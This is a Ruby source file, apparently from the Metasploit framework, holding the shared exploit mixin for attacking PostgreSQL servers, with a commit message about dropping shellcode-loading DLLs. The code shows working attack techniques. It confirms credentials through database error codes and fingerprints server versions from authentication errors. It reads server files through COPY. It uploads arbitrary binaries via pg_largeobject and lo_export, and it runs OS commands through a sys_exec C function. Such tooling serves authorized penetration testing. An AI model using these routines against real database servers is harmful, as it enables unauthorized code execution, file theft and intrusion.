Files
metasploit-gs/lib/msf/core/exploit/postgres.rb
T
James Lee 20cc2fa38d Make Windows postgres_payload more generic
* Adds Exploit::EXE to windows/postgres/postgres_payload. This gives us
  the ability to use generate_payload_dll() which generates a generic dll
  that spawns rundll32 and runs the shellcode in that process. This is
  basically what the linux version accomplishes by compiling the .so on
  the fly. On major advantage of this is that the resulting DLL will
  work on pretty much any version of postgres

* Adds Exploit::FileDropper to windows version as well. This gives us
  the ability to delete the dll via the resulting session, which works
  because the template dll contains code to shove the shellcode into a
  new rundll32 process and exit, thus leaving the file closed after
  Postgres calls FreeLibrary.

* Adds pre-auth fingerprints for 9.1.5 and 9.1.6 on Ubuntu and 9.2.1 on
  Windows

* Adds a check method to both Windows and Linux versions that simply
  makes sure that the given credentials work against the target service.

* Replaces the version-specific lo_create method with a generic
  technique that works on both 9.x and 8.x

* Fixes a bug when targeting 9.x; "language C" in the UDF creation query
  gets downcased and subsequently causes postgres to error out before
  opening the DLL

* Cleans up lots of rdoc in Exploit::Postgres
2012-12-22 00:30:09 -06:00

500 lines
20 KiB
Ruby

require 'msf/core'
module Msf
###
#
# This module exposes methods for querying a remote PostgreSQL service.
#
###
module Exploit::Remote::Postgres
require 'postgres_msf'
require 'base64'
include Msf::Db::PostgresPR
# @!attribute [rw] postgres_conn
# @return [::Msf::Db::PostgresPR::Connection]
attr_accessor :postgres_conn
#
# Creates an instance of a PostgreSQL exploit module.
#
def initialize(info = {})
super
# Register the options that all Postgres exploits may make use of.
register_options(
[
Opt::RHOST,
Opt::RPORT(5432),
OptString.new('DATABASE', [ true, 'The database to authenticate against', 'template1']),
OptString.new('USERNAME', [ true, 'The username to authenticate as', 'postgres']),
OptString.new('PASSWORD', [ false, 'The password for the specified username. Leave blank for a random password.', '']),
OptBool.new('VERBOSE', [false, 'Enable verbose output', false]),
OptString.new('SQL', [ false, 'The SQL query to execute', 'select version()']),
OptBool.new('RETURN_ROWSET', [false, "Set to true to see query result sets", true])
], Msf::Exploit::Remote::Postgres)
register_autofilter_ports([ 5432 ])
register_autofilter_services(%W{ postgres })
end
# @!group Datastore accessors
# Return the datastore value of the same name
# @return [String] IP address of the target
def rhost; datastore['RHOST']; end
# Return the datastore value of the same name
# @return [Fixnum] TCP port where the target service is running
def rport; datastore['RPORT']; end
# Return the datastore value of the same name
# @return [String] Username for authentication
def username; datastore['USERNAME']; end
# Return the datastore value of the same name
# @return [String] Password for authentication
def password; datastore['PASSWORD']; end
# Return the datastore value of the same name
# @return [String] Database to connect to when authenticating
def database; datastore['DATABASE']; end
# Return the datastore value of the same name
# @return [Boolean] Whether to print verbose output
def verbose; datastore['VERBOSE']; end
# @!endgroup
# Takes a number of arguments (defaults to the datastore for appropriate
# values), and will either populate {#postgres_conn} and return
# +:connected+, or will return +:error+, +:error_databse+, or
# +:error_credentials+ in case of an error.
#
# Fun fact: if you get +:error_database+, it means your username and
# password was accepted (you just failed to guess a correct running database
# instance).
#
# @note This method will first call {#postgres_logout} if the module is
# already connected.
#
# @param opts [Hash] Options for authenticating
# @option opts [String] :database The database
# @option opts [String] :username The username
# @option opts [String] :username The username
# @option opts [String] :server IP address or hostname of the target server
# @option opts [Fixnum] :port TCP port on :server
#
# @return [:error_database] if user/pass are correct but database is wrong
# @return [:error_credentials] if user/pass are wrong
# @return [:error] if some other error occurred
# @return [:connected] if everything went as planned
def postgres_login(opts={})
postgres_logout if self.postgres_conn
db = opts[:database] || datastore['DATABASE']
username = opts[:username] || datastore['USERNAME']
password = opts[:password] || datastore['PASSWORD']
ip = opts[:server] || datastore['RHOST']
port = opts[:port] || datastore['RPORT']
uri = "tcp://#{ip}:#{port}"
if Rex::Socket.is_ipv6?(ip)
uri = "tcp://[#{ip}]:#{port}"
end
verbose = opts[:verbose] || datastore['VERBOSE']
begin
self.postgres_conn = Connection.new(db,username,password,uri)
rescue RuntimeError => e
case e.to_s.split("\t")[1]
when "C3D000"
print_status "#{ip}:#{port} Postgres - Invalid database: #{db} (Credentials '#{username}:#{password}' are OK)" if verbose
return :error_database # Note this means the user:pass is good!
when "C28000", "C28P01"
print_error "#{ip}:#{port} Postgres - Invalid username or password: '#{username}':'#{password}'" if verbose
return :error_credentials
else
print_error "#{ip}:#{port} Postgres - Error: #{e.inspect}" if verbose
return :error
end
end
if self.postgres_conn
print_good "#{ip}:#{port} Postgres - Logged in to '#{db}' with '#{username}':'#{password}'" if verbose
return :connected
end
end
# Logs out of a database instance and sets {#postgres_conn} to nil
#
# @return [void]
def postgres_logout
ip = datastore['RHOST']
port = datastore['RPORT']
verbose = datastore['VERBOSE']
if self.postgres_conn
self.postgres_conn.close if(self.postgres_conn.kind_of?(Connection) && self.postgres_conn.instance_variable_get("@conn"))
self.postgres_conn = nil
end
print_status "#{ip}:#{port} Postgres - Disconnected" if verbose
end
# If not currently connected, attempt to connect. If an
# error is encountered while executing the query, it will return with
# :error ; otherwise, it will return with :complete.
#
# @param sql [String] The query to run
# @param doprint [Boolean] Whether the result should be printed
# @return [Hash]
def postgres_query(sql=nil,doprint=false)
ip = datastore['RHOST']
port = datastore['RPORT']
postgres_login unless self.postgres_conn
unless self.postgres_conn
return {:conn_error => true}
end
if self.postgres_conn
sql ||= datastore['SQL']
vprint_status "#{ip}:#{port} Postgres - querying with '#{sql}'"
begin
resp = self.postgres_conn.query(sql)
rescue RuntimeError => e
case sql_error_msg = e.to_s.split("\t")[1] # Deal with some common errors
when "C42601"
sql_error_msg += " Invalid SQL Syntax: '#{sql}'"
when "C42P01"
sql_error_msg += " Table does not exist: '#{sql}'"
when "C42703"
sql_error_msg += " Column does not exist: '#{sql}'"
when "C42883"
sql_error_msg += " Function does not exist: '#{sql}'"
else # Let the user figure out the rest.
sql_error_msg += " SQL statement '#{sql}' returns #{e.inspect}"
end
return {:sql_error => sql_error_msg}
end
postgres_print_reply(resp,sql) if doprint
return {:complete => resp}
end
end
# If resp is not actually a Connection::Result object, then return
# :error (but not an actual Exception, that's up to the caller.
# Otherwise, create a rowset using Rex::Ui::Text::Table (if there's
# more than 0 rows) and return :complete.
def postgres_print_reply(resp=nil,sql=nil)
ip = datastore['RHOST']
port = datastore['RPORT']
verbose = datastore['VERBOSE']
return :error unless resp.kind_of? Connection::Result
if resp.rows and resp.fields
print_status "#{ip}:#{port} Rows Returned: #{resp.rows.size}" if verbose
if resp.rows.size > 0
tbl = Rex::Ui::Text::Table.new(
'Indent' => 4,
'Header' => "Query Text: '#{sql}'",
'Columns' => resp.fields.map {|x| x.name}
)
resp.rows.each {|row| tbl << row.map { |x| x.nil? ? "NIL" : x } }
print_line(tbl.to_s)
end
end
return :complete
end
# Attempts to fingerprint a remote PostgreSQL instance, inferring version
# number from the failed authentication messages or simply returning the
# result of "select version()" if authentication was successful.
#
# @return [Hash] A hash containing the version in one of the keys :preauth,
# :auth, or :unkown, depending on how it was determined
# @see #postgres_authed_fingerprint
# @see #analyze_auth_error
def postgres_fingerprint(args={})
return postgres_authed_fingerprint if self.postgres_conn
db = args[:database] || datastore['DATABASE']
username = args[:username] || datastore['USERNAME']
password = args[:password] || datastore['PASSWORD']
rhost = args[:server] || datastore['RHOST']
rport = args[:port] || datastore['RPORT']
uri = "tcp://#{rhost}:#{rport}"
if Rex::Socket.is_ipv6?(rhost)
uri = "tcp://[#{rhost}]:#{rport}"
end
verbose = args[:verbose] || datastore['VERBOSE']
begin
self.postgres_conn = Connection.new(db,username,password,uri)
rescue RuntimeError => e
version_hash = analyze_auth_error e
return version_hash
end
return postgres_authed_fingerprint if self.postgres_conn
end
# Ask the server what its version is
#
# @return (see #postgres_fingerprint)
# @see #postgres_fingerprint
def postgres_authed_fingerprint
resp = postgres_query("select version()",false)
ver = resp[:complete].rows[0][0]
return {:auth => ver}
end
# Matches up filename, line number, and routine with a version.
# These all come from source builds of Postgres. TODO: check
# in on the binary distros, see if they're different.
#
# @param e [RuntimeError] The exception raised by Connection.new
# @return (see #postgres_fingerprint)
# @see #postgres_fingerprint
def analyze_auth_error(e)
fname,fline,froutine = e.to_s.split("\t")[3,3]
fingerprint = "#{fname}:#{fline}:#{froutine}"
case fingerprint
# Usually, Postgres is on Linux, so let's use that as a baseline.
when "Fauth.c:L395:Rauth_failed" ; return {:preauth => "7.4.26-27"} # Failed (bad db, bad credentials)
when "Fpostinit.c:L264:RInitPostgres" ; return {:preauth => "7.4.26-27"} # Failed (bad db, good credentials)
when "Fauth.c:L452:RClientAuthentication" ; return {:preauth => "7.4.26-27"} # Rejected (maybe good, but not allowed due to pg_hba.conf)
when "Fauth.c:L400:Rauth_failed" ; return {:preauth => "8.0.22-23"} # Failed (bad db, bad credentials)
when "Fpostinit.c:L274:RInitPostgres" ; return {:preauth => "8.0.22-23"} # Failed (bad db, good credentials)
when "Fauth.c:L457:RClientAuthentication" ; return {:preauth => "8.0.22-23"} # Rejected (maybe good)
when "Fauth.c:L337:Rauth_failed" ; return {:preauth => "8.1.18-19"} # Failed (bad db, bad credentials)
when "Fpostinit.c:L354:RInitPostgres" ; return {:preauth => "8.1.18-19"} # Failed (bad db, good credentials)
when "Fauth.c:L394:RClientAuthentication" ; return {:preauth => "8.1.18-19"} # Rejected (maybe good)
when "Fauth.c:L414:RClientAuthentication" ; return {:preauth => "8.2.7-1"} # Failed (bad db, bad credentials) ubuntu 8.04.2
when "Fauth.c:L362:Rauth_failed" ; return {:preauth => "8.2.14-15"} # Failed (bad db, bad credentials)
when "Fpostinit.c:L319:RInitPostgres" ; return {:preauth => "8.2.14-15"} # Failed (bad db, good credentials)
when "Fauth.c:L419:RClientAuthentication" ; return {:preauth => "8.2.14-15"} # Rejected (maybe good)
when "Fauth.c:L1003:Rauth_failed" ; return {:preauth => "8.3.8"} # Failed (bad db, bad credentials)
when "Fpostinit.c:L388:RInitPostgres" ; return {:preauth => "8.3.8-9"} # Failed (bad db, good credentials)
when "Fauth.c:L1060:RClientAuthentication" ; return {:preauth => "8.3.8"} # Rejected (maybe good)
when "Fauth.c:L1017:Rauth_failed" ; return {:preauth => "8.3.9"} # Failed (bad db, bad credentials)
when "Fauth.c:L1074:RClientAuthentication" ; return {:preauth => "8.3.9"} # Rejected (maybe good, but not allowed due to pg_hba.conf)
when "Fauth.c:L258:Rauth_failed" ; return {:preauth => "8.4.1"} # Failed (bad db, bad credentials)
when "Fpostinit.c:L422:RInitPostgres" ; return {:preauth => "8.4.1-2"} # Failed (bad db, good credentials)
when "Fauth.c:L349:RClientAuthentication" ; return {:preauth => "8.4.1"} # Rejected (maybe good)
when "Fauth.c:L273:Rauth_failed" ; return {:preauth => "8.4.2"} # Failed (bad db, bad credentials)
when "Fauth.c:L364:RClientAuthentication" ; return {:preauth => "8.4.2"} # Rejected (maybe good)
when "Fmiscinit.c:L432:RInitializeSessionUserId" ; return {:preauth => "9.1.5"} # Failed (bad db, bad credentials)
when "Fpostinit.c:L709:RInitPostgres" ; return {:preauth => "9.1.5"} # Failed (bad db, good credentials)
when "Fauth.c:L302:Rauth_failed" ; return {:preauth => "9.1.6"} # Bad password, good database
when "Fpostinit.c:L718:RInitPostgres" ; return {:preauth => "9.1.6"} # Good creds, non-existent but allowed database
when "Fauth.c:L483:RClientAuthentication" ; return {:preauth => "9.1.6"} # Bad user
# Windows
when 'F.\src\backend\libpq\auth.c:L273:Rauth_failed' ; return {:preauth => "8.4.2-Win"} # Failed (bad db, bad credentials)
when 'F.\src\backend\utils\init\postinit.c:L422:RInitPostgres' ; return {:preauth => "8.4.2-Win"} # Failed (bad db, good credentials)
when 'F.\src\backend\libpq\auth.c:L359:RClientAuthentication' ; return {:preauth => "8.4.2-Win"} # Rejected (maybe good)
when 'F.\src\backend\libpq\auth.c:L464:RClientAuthentication' ; return {:preauth => "9.0.3-Win"} # Rejected (not allowed in pg_hba.conf)
when 'F.\src\backend\libpq\auth.c:L297:Rauth_failed' ; return {:preauth => "9.0.3-Win"} # Rejected (bad db or bad creds)
when 'Fsrc\backend\libpq\auth.c:L302:Rauth_failed' ; return {:preauth => "9.2.1-Win"} # Rejected (bad db or bad creds)
when 'Fsrc\backend\utils\init\postinit.c:L717:RInitPostgres' ; return {:preauth => "9.2.1-Win"} # Failed (bad db, good credentials)
when 'Fsrc\backend\libpq\auth.c:L479:RClientAuthentication' ; return {:preauth => "9.2.1-Win"} # Rejected (not allowed in pg_hba.conf)
# OpenSolaris (thanks Alexander!)
when 'Fmiscinit.c:L420:' ; return {:preauth => '8.2.6-8.2.13-OpenSolaris'} # Failed (good db, bad credentials)
when 'Fmiscinit.c:L382:' ; return {:preauth => '8.2.4-OpenSolaris'} # Failed (good db, bad credentials)
when 'Fpostinit.c:L318:' ; return {:preauth => '8.2.4-8.2.9-OpenSolaris'} # Failed (bad db, bad credentials)
when 'Fpostinit.c:L319:' ; return {:preauth => '8.2.10-8.2.13-OpenSolaris'} # Failed (bad db, bad credentials)
else
return {:unknown => fingerprint}
end
end
# @return [String] The password as provided by the user or a random one if
# none has been given.
def postgres_password
if datastore['PASSWORD'].to_s.size > 0
datastore['PASSWORD'].to_s
else
'INVALID_' + Rex::Text.rand_text_alpha(rand(6) + 1)
end
end
# This presumes the user has rights to both the file and to create a table.
# If not, {#postgres_query} will return an error (usually :sql_error),
# and it should be dealt with by the caller.
def postgres_read_textfile(filename)
# Check for temp table creation privs first.
unless postgres_has_database_privilege('TEMP')
return({:sql_error => "Insufficent privileges for #{datastore['USERNAME']} on #{datastore['DATABASE']}"})
end
temp_table_name = Rex::Text.rand_text_alpha(rand(10)+6)
read_query = %Q{CREATE TEMP TABLE #{temp_table_name} (INPUT TEXT);
COPY #{temp_table_name} FROM '#{filename}';
SELECT * FROM #{temp_table_name}}
return postgres_query(read_query,true)
end
# @return [Boolean] Whether the current user has privilege +priv+ on the
# current database
def postgres_has_database_privilege(priv)
sql = %Q{select has_database_privilege(current_user,current_database(),'#{priv}')}
ret = postgres_query(sql,false)
if ret.keys[0] == :complete
ret.values[0].rows[0][0].inspect =~ /t/i ? true : false
else
return false
end
end
# Creates the function sys_exec() in the pg_temp schema.
# @deprecated Just get a real shell instead
def postgres_create_sys_exec(dll)
q = "create or replace function pg_temp.sys_exec(text) returns int4 as '#{dll}', 'sys_exec' language c returns null on null input immutable"
resp = postgres_query(q);
if resp[:sql_error]
print_error "Error creating pg_temp.sys_exec: #{resp[:sql_error]}"
return false
end
return true
end
# This presumes the pg_temp.sys_exec() udf has been installed, almost
# certainly by postgres_create_sys_exec()
#
# @deprecated Just get a real shell instead
def postgres_sys_exec(cmd)
print_status "Attempting to Execute: #{cmd}"
q = "select pg_temp.sys_exec('#{cmd}')"
resp = postgres_query(q)
if resp[:sql_error]
print_error resp[:sql_error]
return false
end
return true
end
# Uploads the given local file to the remote server
#
# @param fname [String] Name of a file on the local filesystem to be
# uploaded
# @param remote_fname (see #postgres_upload_binary_data)
# @return (see #postgres_upload_binary_data)
def postgres_upload_binary_file(fname, remote_fname=nil)
data = File.read(fname)
postgres_upload_binary_data(data, remote_fname)
end
# Writes data to disk on the target server.
#
# This is accomplished in 5 steps:
# 1. Create a new object with "select lo_create(-1)"
# 2. Delete any resulting rows in pg_largeobject table.
# On 8.x and older, postgres inserts rows as a result of the call to
# lo_create. Deleting them here approximates the state on 9.x where no
# such insert happens.
# 3. Break the data into LOBLOCKSIZE-byte chunks.
# 4. Insert each of the chunks as a row in pg_largeobject
# 5. Select lo_export to write the file to disk
#
# @param data [String] Raw binary to write to disk
# @param remote_fname [String] Name of the file on the remote server where
# the data will be stored. Default is "<random>.dll"
# @return [nil] if any part of this process failed
# @return [String] if everything went as planned, the name of the file we
# dropped. This is really only useful if +remote_fname+ is nil
def postgres_upload_binary_data(data, remote_fname=nil)
remote_fname ||= Rex::Text::rand_text_alpha(8) + ".dll"
# From the Postgres documentation:
# SELECT lo_creat(-1); -- returns OID of new, empty large object
# Doing it this way instead of calling lo_create with a random number
# ensures that we don't accidentally hit the id of a real object.
resp = postgres_query "select lo_creat(-1)"
unless resp and resp[:complete] and resp[:complete].rows[0]
print_error "Failed to get a new loid"
return
end
oid = resp[:complete].rows[0][0].to_i
queries = [ "delete from pg_largeobject where loid=#{oid}" ]
# Break the data into smaller chunks that can fit in the size allowed in
# the pg_largeobject data column.
# From the postgres documentation:
# "The amount of data per page is defined to be LOBLKSIZE (which is
# currently BLCKSZ/4, or typically 2 kB)."
# Empirically, it seems that 8kB is fine on 9.x, but we play it safe and
# stick to 2kB.
chunks = []
while ((c = data.slice!(0..2047)) && c.length > 0)
chunks.push c
end
chunks.each_with_index do |chunk, pageno|
b64_data = postgres_base64_data(chunk)
insert = "insert into pg_largeobject (loid,pageno,data) values(%d, %d, decode('%s', 'base64'))"
queries.push( "#{insert}"%[oid, pageno, b64_data] )
end
queries.push "select lo_export(#{oid}, '#{remote_fname}')"
# Now run each of the queries we just built
queries.each do |q|
resp = postgres_query(q)
if resp && resp[:sql_error]
print_error "Could not write the library to disk."
print_error resp[:sql_error]
# Can't really recover from this, bail
return nil
end
end
return remote_fname
end
# Calls {#postgres_base64_data} with the contents of file +fname+
#
# @param fname [String] Name of a file on the local system
# @return (see #postgres_base64_data)
def postgres_base64_file(fname)
data = File.open(fname, "rb") {|f| f.read f.stat.size}
postgres_base64_data(data)
end
# Converts data to base64 with no newlines
#
# @param data [String] Raw data to be base64'd
# @return [String] A base64 string suitable for passing to postgresql's
# decode(..., 'base64') function
def postgres_base64_data(data)
[data].pack("m*").gsub(/\r?\n/,"")
end
# Creates a temporary table to store base64'ed binary data in.
#
# @deprecated No longer necessary since we can insert base64 data directly
def postgres_create_stager_table
tbl = Rex::Text.rand_text_alpha(8).downcase
fld = Rex::Text.rand_text_alpha(8).downcase
resp = postgres_query("create temporary table #{tbl}(#{fld} text)")
if resp[:sql_error]
print_error resp[:sql_error]
return false
end
return [tbl,fld]
end
end
end